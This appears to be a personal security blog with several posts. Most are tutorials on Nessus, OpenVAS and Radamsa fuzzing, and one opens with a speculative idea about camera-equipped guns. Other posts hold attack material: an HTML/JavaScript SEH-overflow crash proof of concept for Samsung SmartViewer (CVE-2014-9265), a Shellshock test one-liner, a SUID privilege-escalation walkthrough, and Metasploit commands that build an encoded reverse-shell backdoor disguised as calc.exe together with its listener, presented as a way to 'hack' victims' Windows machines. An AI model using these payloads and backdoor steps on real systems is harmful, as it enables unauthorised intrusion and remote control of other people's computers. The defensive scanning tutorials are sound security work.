Lets apply same concept for gun/revolver, whenever someone fires a bullet it should take photograph of person who fired the bullet and the target where bullet was fired at. Upload the taken photographs immediately to the Data Center.

Apart from Photographs we can save other information like
        Make/model of Gun/Revolver
        Make/model of the Bullet
        Location

If someone tried to modify the firmware on the Gun, it should send an Event to Data Center, so wa know something malicious is happening.

Why will terrorist buy a gun with Camera?
Nation states/Governments should make it mandatory for every Gun/Revolver manufacturer should have an inbuilt Camera and an IP Address.

Evasion
Terrorist wearing a mask.
Covering the Camera slot with opaque stuff.

Limitations
No Internet, no signal.
Covering Camera
Tampering

Assumptions
Vendor cooperation
No illegal selling and vendor is accountable

Fantasy!!!

Sunday, February 8, 2015

Vulnerability Scanning using Nessus

Nessus is a vulnerability Scanner developed by Tenable Network Security.

After downloading nessus, it can be installed using below command
#dpkg -i nessus_package_name.deb

Start nessus using below command
#/etc/init.d/nessusd start

You can access nessus on TCP port 8834 using localhost or hostname in the place of ip address, say localhost:8834. Login to nessus using the credentials you configured while installation.

After successful logging, you will see below screen.


To start Assessment click on Scans on top of the window, which will show you below screen.



Select the scan which interests you, will take you to below page where you need to configure IP Address, on your left you can customize Reporting info, Scan info etc. Don't click on save if you are not done with customization, once you click save Nessus will start the Assessment you have selected, in my case it was "Basic Network Scan".


To create custom policy we can click on Policies tab on top of the page.


To configure credentials for SMB, SSH, FTP, HTTP etc you can click on Policies on top of the page once you successfully login, then click on Credentials.


Thursday, February 5, 2015

Kali: Configure and Fix OpenVAS issues, start Vulnerability Scanning

OpenVAS is a tool used for Vulnerability Scanning, it comes pre-installed on Kali/Backtrack OS but need to configure to make it working.

root@kali-praveend:~# openvas-check-setup
........
........
        OK: At least one admin user exists.
        WARNING: Your password policy is empty.
        SUGGEST: Edit the /etc/openvas/pwpolicy.conf file to set a password policy.
Step 4: Checking Greenbone Security Assistant (GSA) ...
        OK: Greenbone Security Assistant is present in version 4.0.0.
Step 5: Checking OpenVAS CLI ...
        OK: OpenVAS CLI version 1.2.0.
Step 6: Checking Greenbone Security Desktop (GSD) ...
        OK: Greenbone Security Desktop is present in Version 1.2.2.
Step 7: Checking if OpenVAS services are up and running ...
        OK: netstat found, extended checks of the OpenVAS services enabled.
        ERROR: OpenVAS Scanner is NOT running!
        FIX: Start OpenVAS Scanner (openvassd).
        ERROR: OpenVAS Manager is NOT running!
        FIX: Start OpenVAS Manager (openvasmd).
        ERROR: OpenVAS Administrator is NOT running!
        FIX: Start OpenVAS Administrator (openvasad).
        ERROR: Greenbone Security Assistant is NOT running!
        FIX: Start Greenbone Security Assistant (gsad).
 ERROR: Your OpenVAS-6 installation is not yet complete!
Please follow the instructions marked with FIX above and run this
script again.

Start OpenVAS Scanner
#/etc/init.d/openvas-scanner start

Start OpenVAS Manager
#openvasmd --rebuild take around 10 minutes, you can execute below command
#openvasmd

Start OpenVAS Administrator 
#openvasad -c add_user -n praveend --role=Admin
if the username is already created just execute openvasad

Start Greenbone Security Assistant
#gsad

Once the configuration is done execute
root@kali-praveend:~# openvas-check-setup
........
........
Step 5: Checking OpenVAS CLI ...
        OK: OpenVAS CLI version 1.2.0.
Step 6: Checking Greenbone Security Desktop (GSD) ...
        OK: Greenbone Security Desktop is present in Version 1.2.2.
Step 7: Checking if OpenVAS services are up and running ...
        OK: netstat found, extended checks of the OpenVAS services enabled.
        OK: OpenVAS Scanner is running and listening only on the local interface.
        OK: OpenVAS Scanner is listening on port 9391, which is the default port.
        OK: OpenVAS Manager is running and listening on all interfaces.
        OK: OpenVAS Manager is listening on port 9390, which is the default port.
        OK: OpenVAS Administrator is running and listening on all interfaces.
        OK: OpenVAS Administrator is listening on port 9393, which is the default port.
        OK: Greenbone Security Assistant is running and listening on all interfaces.
        OK: Greenbone Security Assistant is listening on port 443, which is the default port.
Step 8: Checking nmap installation ...
        WARNING: Your version of nmap is not fully supported: 6.47
        SUGGEST: You should install nmap 5.51.
Step 9: Checking presence of optional tools ...
        OK: pdflatex found.
        OK: PDF generation successful. The PDF report format is likely to work.
        OK: ssh-keygen found, LSC credential generation for GNU/Linux targets is likely to work.
        OK: rpm found, LSC credential package generation for RPM based targets is likely to work.
        OK: alien found, LSC credential package generation for DEB based targets is likely to work.
        OK: nsis found, LSC credential package generation for Microsoft Windows targets is likely to work.
It seems like your OpenVAS-6 installation is OK.

Start OpenVAS Greenbone Security Desktop (GSD)

Once we click on openvas-gsd, we get a window where we need to enter login credentials and localhost in the place of IP address.


After successful login to GSD we get below Window where we need to configure Targets, Tasks etc.

To start Vulnerability Assessment we need to configure Targets, Tasks etc., tabs on the lower part of the above window.

Click on Extras->Start Greenbone Security Assistant. Will open URL in browser connecting to 127.0.0.1:443

Once the Vulnerability Scanning is done, we can download Report in supported format (PDF, HTML etc).

Wednesday, January 28, 2015

Generate sample fuzz files using Radamsa Fuzzer

Radamsa is a general purpose data fuzzer, reads data from given sample files and outputs modified data usually malformed.

Below command takes html files as input and generates infinite output  malformed html files (press Ctrl + C to stop generation of files). "-n 100000" will generate one lakh malformed html files.

$radamsa -o gen_htmls/test_browser_%n.html -n inf -r ../poc_html_files/*.html -M -

-o        specify where to write the modified data.
%n      represents test case number
-n        how  many outputs to generate based on the sample(s). -1 or inf generates infinite output
-M -    write metadata about generated data to given path, - indicates stdout

"-M -" generates below metadata of generated output file
xp-repeat: 3, xp-dup: 1, xp-insert: 1, xp-swap: 1, muta-num: 1, source: "../poc_html_files/sample1.html", generator: file, nth: 31812, path: "gen_htmls/test_browser_31812.html", output: file-writer, length: 1622, pattern: burst
xp-repeat: 4, xp-dup: 2, xp-insert: 4, fuse-old: 1, muta-num: 4, source: "../poc_html_files/sample2.html", generator: file, nth: 31813, path: "gen_htmls/test_browser_31813.html", output: file-writer, length: 2515, pattern: many-dec
xp-repeat: 1, xp-pump: 1, xp-dup: 1, xp-insert: 5, muta-num: 1, source: "../poc_html_files/sample3.html", generator: file, nth: 31814, path: "gen_htmls/test_browser_31814.html", output: file-writer, length: 14832, pattern: burst

praveend@praveend-VirtualBox:~/radamsa-0.4/bin/gen_htmls$
$ ls -t |more
test_browser_31816.html
test_browser_31814.html
test_browser_31815.html
test_browser_31813.html
test_browser_31812.html
test_browser_31811.html
test_browser_31810.html
test_browser_31808.html
test_browser_31809.html
test_browser_31807.html
test_browser_31806.html

$radamsa -o :8080 -r gen_htmls/

Above command will open port 8080 and bings to all IP Addresses if the machine is multi homed.
When a client connects to 8080 radamsa serves malicious files.

We can also use NodeFuzz to server malicious HTML files, but nodefuxx allows mentioning only one HTML file part of configuration. Not sure how to respond back with all malicious files one by one when a client browser connects.
$ node nodefuzz.js

Enjoy Fuzzing!

Sunday, January 18, 2015

Samsung SmartViewer BackupToAvi Remote Code Execution PoC (CVE-2014-9265)

This blog is about CVE-2014-9265.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9265

What Samsung says about the software
"SmartViewer is DVR management software that enables you to connect to and control a remote Samsung DVR on your PC via the network. With this tool, you can access Samsung DVRs anywhere around the world via the network, and check the video data from the connected cameras. You can also search for and play recording data in the DVR on a remote site, which will be an effective and convenient monitoring system."

Lets load single vulnerable DLL , C:\Program Files\Samsung\SmartViewer3.0\Bin\CNC_Ctrl_STW.dll into ImmunityDBG.

mona plugins help can be viewed with below command
!mona 
           modules / mod        | Show all loaded modules and their properties
           unicodealign / ua    | Generate venetian alignment code for unicode stack buffer overflow
Displays the list of all the loaded modules and their properties (ASLR, SafeSEH etc).
!mona modules
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Module info :
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D    0x774d0000 | 0x7754b000 | 0x0007b000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [COMDLG32.dll](C:\Windows\system32\COMDLG32.dll)
0BADF00D    0x10000000 | 0x1017b000 | 0x0017b000 | False  | False   | False |  False   | False  | 2.0.1.6 [CNC_Ctrl_STW.dll] (C:\Program Files\Samsung\SmartViewer3.0\Bin\CNC_Ctrl_STW.dll)
0BADF00D    0x75c60000 | 0x75d34000 | 0x000d4000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [kernel32.dll] (C:\Windows\system32\kernel32.dll)

!mona ua
will generate venetian_alignment.txt at C:\Program Files\Immunity Inc\Immunity Debugger\

mona command to search for addresses with pop/pop/ret
!mona findwild -s "pop r32#*#pop r32#*#retn"
Above command  will generate findwild.txt file located at
C:\Program Files\Immunity Inc\Immunity Debugger\

Only one address(shown below) which has unicode compatibility is useful to us.
0x10008700 : pop ecx # mov eax,esi # pop esi # retn 4 | null,unicodereverse {PAGE_EXECUTE_READ} [CNC_Ctrl_STW.dll] ASLR: False, Rebase: False, SafeSEH:
False, OS: False, v2.0.1.6 (C:\Program Files\Samsung\SmartViewer3.0\Bin\CNC_Ctrl_STW.dll)

Conditional breakpoint can be set using, assuming EIP holds 0x10008700 though EIP is having 0x00100087
bp 10008700 "j @eip=0x10008700 ; 'g' " 

Finding offset to EIP
Initially pass a character string of length 15000 to BackupToAvi API, use Metasploit cyclic pattern to find the offset where EIP is overwritten, in my case it is offset 156. To find offset execute !exchain", search for the characters located at address 0x045ad62c, im metasploit cyclic pattern to get the offset.

Once we know the offset to seh, nseh we can write a PoC as shown below
<html>
<head> Samsung SmartViewer BackupToAvi Remote Code Execution</head>
<title> PoC developed by Praveen Darshanam </title>
<object classid='clsid:208650B1-3CA1-4406-926D-45F2DBB9C299' id='target' >
</object>

<script >
 var payload_length = 15000;
 var arg1=1;
 var arg2=1;
 var arg3=1;
 //blank strings
 var junk = "";
 var buf1 = "";
 var buf2 = "";

 //offset to SE is 156, initial analysis using metasploit cyclic pattern
 for (i=0; i<156; i++)
 {
  buf1 += "A";
 }

 var nseh = "DD";
//vulnerable DLL
var seh = "\x87\x10"; //pop, pop, ret
 junk = buf1 + nseh + seh;

 //remaining buffer
 for (j=0; j<(payload_length-junk.length); j++)
 {
  buf2 += "B";
 }
 var fbuff = junk + buf2;
 target.BackupToAvi(arg1 ,arg2 ,arg3 ,fbuff);

</script>
</html>
When we open above html file in browser, we get below trace
Tested on Windows 7 Ultimate N SP1 using Internet Explorer 8)

(c6c.418): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00450045 edx=773771cd esi=00000000 edi=00000000
eip=00450045 esp=043b10a8 ebp=043b10c8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
00450045 ??              ???

0:005> !exchain
....
045abacc: ntdll!ExecuteHandler2+3a (773771cd)
045abeb4: ntdll!ExecuteHandler2+3a (773771cd)
045ac29c: ntdll!ExecuteHandler2+3a (773771cd)
045ac684: ntdll!ExecuteHandler2+3a (773771cd)
045ad62c: 00450045
Invalid exception stack at 00440044

0:005> d 045ad62c
045ad62c  44 00 44 00 45 00 45 00-42 00 42 00 42 00 42 00  D.D.E.E.B.B.B.B.
045ad63c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad64c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad65c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad66c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad67c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad68c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad69c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.

Couldn't write working exploit because of the issues mentioned below.
Issue1:
None of the registers are pointing to controlled buffer at the time of crash, can be verified using "d reg_name" on windbg cli where reg_name might be eax, ebx, esp, edi etc.

var nseh = "DD";
var seh = "\x87\x10";      //0x10008700
045ad62c  44 00 44 00 87 00 10 00-42 00 42 00 42 00 42 00 D.D.....B.B.B.B.

Issue2:
0x10008700 points to pop/pop/ret but eip is getting 0x00100087 instead of 0x10008700

Facing issue 2 on Windows XP Pro SP3 also
0:008> !exchain
020bf798: 00100087
Invalid exception stack at 00440044
0:008> d 020bf798
020bf798  44 00 44 00 87 00 10 00-42 00 42 00 42 00 42 00  D.D.....B.B.B.B.
020bf7a8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf7b8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf7c8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf7d8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf7e8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf7f8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf808  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.

Any hints to develop working exploit are most welcome!

Monday, January 12, 2015

Netwrok Security Testing for Absolute Beginners


This blog covers some tools for Network/Security Testing.

Packet Crafting - hping, ngrep, sendip, scapy
Packet Replay - tcpreplay,tcpreplay-edit,tcpdump
Scanning - nmap,nc, metasploit,nessus
Fuzzing - metasploit, nikto,nessus, spike,radamsa,webfuzz
Stats - dstat,ifstat,iftop,ntop
Web - wget, curl, ab
Debugging - ping,netstat,tracert, ngrep
Benchmarking - ab,iperf,netperf
SNMP - snmpwalk
NTP Suite

For CLI one liners refer below presentation
http://disects.com/whitepapers/NetworkSecurityTestingTools.pdf


Friday, September 26, 2014

Shellshock and Cygwin

Cygwin is a *nix like Command Line Interface (CLI) for Windows Operating Systems.

Cygwin by default ships with 4.1.x version at the time of my testing which has shellshock (CVE-2014-6271) vulnerability, use "bash --version" to check current  version of bash shell.



To check the Vulnerability execute below PoC
$ env x='() { :;}; echo vulnerable' bash -c 'echo Exploited!!'


Dissecting the PoC
env      command used to print environment variables or modify the environment where program executes
x          environment variable/ function name
{ :;};    function definition
echo vulnerable' bash -c 'echo Exploited!!' is the malicious data after function definition.

Issue
Due to the vulnerability shell is interpreting the arbitrary commands after the termination of the function definition and executing entire text of environment variables value.

Same PoC command can be used on different Linux distributions for testing the presence of shellshock vulnerability.

Many Linux distributions already released patch for CVE-2014-6271, has lead to new vulnerability, CVE-2014-7169 which is less severe compared to shellshock.

Sunday, July 20, 2014

Privilege Escalation by Exploiting SUID Binaries


There might be situations where unprivileged users need to complete tasks which needs privileges. Best examples might be ping, passwd etc.

Understanding File Permissions
There are three permission types
r - read
w - write
x - execute
_ rwx r_x __x 

Brown underscore indicates file type (d - directory, l - link, p - pipe etc.), rwx in yellow indicates permissions for file owner or User, r_x in green indicates Group permissions, __x in blue indicates  permissions for all Other users.

                                         Figure. Program to demo SUID exploitation

test_suid.c is a demo exploit file can be compiled using GCC
# gcc test_suid.c -o test_suid
Compiling as root user to make sure file is owned by root.

When test_suid binary is executed without SUID bit set, we still have prdarsha user permissions.

                                          Figure.Executing binary with SUID bit not set

Now lets execute test_suid binary after setting SUID bit which will escalate the privilege from notmal user to root user.
File permissions can be set using below command (also refer Figure. File Permissions)
# chmod u+s test_suid

                                          Figure. Executing binary with SUID bit set

Checking the permissions of important file like passwd
                                          Figure. File Permissions

Finding all executable's which have SUID bit set
find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;

Thursday, June 12, 2014

SMTP Enumeration: Finding SMTP Servers for a given Domain

nslookup is a command line tool for querying Domain Name System (DNS) servers to obtain specific DNS records, domain name or IP Address mapping.
There are many resource records in a Domain Name System,  MX record specifies Mail Servers accepting email messages.

Open Command Prompt(cmd.exe) and type
C:\Users\prdarsha>nslookup
> set q=mx
> yahoo.com



                                          Figure MX records snapshot

Lets see MX records of gmail.com, microsoft.com, outlook.com.


Enjoy!

Thursday, May 29, 2014

Hack All Windows OS's (Windows 8/7/Vista/XP) using Metasploit Backdoors

This blog discusses how to compromise Windows 8, Windows 7, Windows Vista, Windows XP etc. using Metasploit backdoors.


Copy created backdoor to victims machine using USB, Shares etc.

When victim executes the malicious binary, it connects back to attackers machine.

Commands to create backdoor
msfpayload -h
# msfpayload windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=8888 R > cal_pld.exe
msfencode -h
# msfencode -e x86/shikata_ga_nai -c 3 -t exe -i calc_pld.exe -x /root/calc.exe -o calc_backdoor.exe

Commands to create handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 8888
exploit

If everything goes fine, Metasploit will start handler and waits for connections from victim's. Once victim executes the binary, successful exploitation will create a Meterpreter session.

http://blog.disects.com/2014/05/metasploit-gaining-access-using-ms08.html